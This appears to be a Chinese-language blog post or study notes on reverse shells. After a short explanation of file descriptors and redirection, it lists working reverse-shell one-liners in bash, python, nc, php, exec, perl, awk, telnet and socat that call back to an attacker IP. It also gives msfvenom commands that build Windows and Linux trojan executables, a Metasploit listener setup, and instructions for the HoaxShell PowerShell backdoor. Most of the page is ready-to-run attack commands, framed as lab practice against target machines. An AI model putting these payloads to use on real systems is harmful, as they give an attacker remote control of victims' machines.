反弹shell

反弹shell

一些基础知识:

描述符类:
      文件描述符(File Descriptor,FD)是一个非负整数,用于标识进程打开的文件或其他输入/输出资源(例如:管道、网络套接字等),在Linux和Unix系统中
      文件描述符是实现文件操作的基本机制之一,每个进程都有自己的文件描述符表,其中包含指向系统内核中文件对象的指针。
在Linux中进程在启动时会自动打开三个文件描述符:
      标准输入:standard input 0(默认设备键盘)
      标准输出:standard output 1(默认设备显示器) 
      错误输出:error output 2(默认设备显示器)

输入输出重定向:
      0:标准输入
      1:标准输出
      2:报错输出
      command < input_file      //将input_file的内容作为command的输入
      echo "Hello, World!" > output.txt      //将前面命令的输出覆盖给output.txt,用>>则是追加内容
      command 2> error_file      //将command的报错覆盖给error_file,>>追加同理
      command > output_file 2>&1      //在这里"2>&1"将标准错误输出(2)重定向到标准输出(1),因此两者都将写入output_file
      command 2>&1 | grep "error"      //将输出通过管道(|)传递给grep命令,效果是查找包含"error"字样的信息并只显示这些信息。
      &:结合与前面的重定向结合使用(>&),这表示将标准输出(stdout)和标准错误(stderr)都重定向到同一个地方,这意味着不论是正常输出还是错误信息都会
         被发送到指定的目标
      0>&1:表示将标准输入重定向到标准输出,也就是将标准输入输出一起重定向

bash -i :
      bash:启动一个新的Bash shell的命令
      -i:此选项表示以交互模式启动Bash shell,交互模式允许用户输入命令并立即接收输出,这使得在远程连接时更加灵活和实用

/dev/tcp/ip/port:与对应的ip和端口建立一个socket连接

使用whereis命令去确定目标支持的反弹方法:whereis nc bash python php exec lua perl ruby

bash反弹shell:

攻击者:nc -lnvp 9999      //nc是netcat的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
                              -l 监听模式,用于入站连接
                              -v 详细输出--用两个-v可得到更详细的内容
                              -p port 本地端口号,此处指详细监听本地9999端口
                              -n 在建立连接之前不对主机进行dns解析
受害者:bash -i >& /dev/tcp/192.168.239.128/9999 0>&1      //建立一个交互shell,将输入输出全部重定向至192.168.239.128:9999

python反弹shell:

攻击者:nc -lvp 7777
受害者:python -c "import python os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('攻方ip',攻方端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

nc反弹shell:

前提:需要目标主机安装了nc
攻击者:nc -lvp 4566
受害者:nc -e /bin/bash 192.168.239.128 4566      //-e后面跟的参数代表的是在创建连接后执行的程序

php反弹shell:

攻击者:nc -nvlp 9875
受害者:php -r 'exec("/usr/bin/bash -i >& /dev/tcp/192.168.239.128/9875 0>&1");'
或:
攻击者:nc -nvlp 4986
受害者:php -r '$sock=fsockopen("192.168.239.128",4986);exec("/bin/bash -i <&3 >&3 2>&3");'

exec反弹shell:

攻击者:nc -nvlp 5623
受害者:0<&196;exec 196<>/dev/tcp/192.168.239.128/5623; sh <&196 >&196 2>&196

perl反弹shell:

攻击者:nc -nvlp 5623
受害者:perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

awk反弹shell:

攻击者:nc -nvlp 5623
受害者:awk 'BEGIN{s="/inet/tcp/0/192.168.99.242/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

telnet反弹shell:

攻击者:
nc -nvlp 4567        #输入命令
nc -nvlp 7654        #输出命令
受害者:
telnet 192.168.239.128 4567 | /bin/bash | telnet 192.168.239.128 7654

socat反弹shell:

攻击者:nc -nvlp 8989
受害者:socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.239.128:8989

关于utools反弹shell工具的使用:

IP & Port:
      填入自己的ip和端口,不知道IP可以cmd里ipconfig查看

Listener:
      生成用于开启监听端口的指令,可选监听工具,复制到本地cmd运行即可

Reverse (反弹): 最常用。目标机器主动连接回你的监听器,生成后复制到靶机cmd运行即可

      3f5c9920-22ad-4937-95d3-9415ffdbbfa3 这个用于选择靶机的操作系统

      3f9d5df2-682d-4eca-8402-38e5e7486fe3这个用于选择用哪种方式、哪种命令来让目标机器连接回你,需根据靶机环境选择

      2f6749e2-16fc-4263-ae3d-dace2f67e747这个是选择shell类型跟编码方式

Bind (绑定): 你的机器连接到靶机上开启的一个端口。

      cdf54f7f-378b-4441-be4e-054f43893a56根据靶机环境选择,生陈后复制到靶机cmd运行即可

MSFVenom: 使用 Metasploit 框架生成功能更强大、更隐蔽的可执行文件。

      前提:你有Metasploit

      1: 启动 msfconsole:

msfconsole

      2:设置监听模块:

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.10.10.10   # 攻击机IP
set lport 9001          # 端口要和生成payload时一致
run

      3:运行生成的payload生成攻击文件,复制粘贴本地运行即可

      4:把生成的文件传到靶机里

      5:靶机若执行了这个程序,它会尝试连接回你的攻击机

HoaxShell: 一个专门针对 Windows 系统,利用 PowerShell 和 HTTP 协议进行通信的高级后门框架。(其实就是内存马)

      0:安装HoaxShell

git clone https://github.com/t3l3mac/hack-tools.git
cd hack-tools/HoaxShell/
pip3 install -r requirements.txt

      1:启动服务

python3 hoaxshell.py -i 10.10.10.10 -p 9001

      2:将生成的代码在靶机运行

Payload (自定义): 允许你粘贴任意命令或脚本,并对其进行编码混淆。

关于MSFVenom的使用:

下载msfconsole

sudo apt update
sudo apt install metasploit-framework
msfvenom -l payloads可以查看所有payload

Windows 通用反向 shell:
      windows/meterpreter/reverse  --基于 TCP 的反向链接反弹 shell,使用起来很稳定。
      windows/meterpreter/reverse_http  --基于 http 方式的反向连接,在网速慢的情况下不稳定
      windows/meterpreter/reverse_https  --基于 https 方式的反向连接,在网速慢的情况下不稳定, https如果反弹没有收到数据,可以将监听端口
                                           换成 443 试试。
      windows/meterpreter/bind_tcp  --这是一个基于TCP的正向连接 shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,
                                      不需要设置 LHOST。

Linux 通用反向 shell:
      linux/x86/meterpreter/reverse_tcp
      linux/x86/shell_reverse_tcp

生成 window 木马命令:
      msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.10.10 lport=4444 -f exe -o D:Testtmphacker.exe
生成 linux 木马命令;
      msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o /tmp/client_x64.bin
打开msfconsole创建侦察监听(根据上一步生成的木马类型选择payload)
      msf > use exploit/multi/handler
      msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
      payload => windows/meterpreter/reverse_tcp
      msf exploit(handler) > set lhost 10.10.10.10
      lhost => 10.10.10.10
      msf exploit(handler) > set lport 4444
      lport => 4444
      msf exploit(handler) > run
      [*] Started reverse TCP handler on 10.10.10.10:4444
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇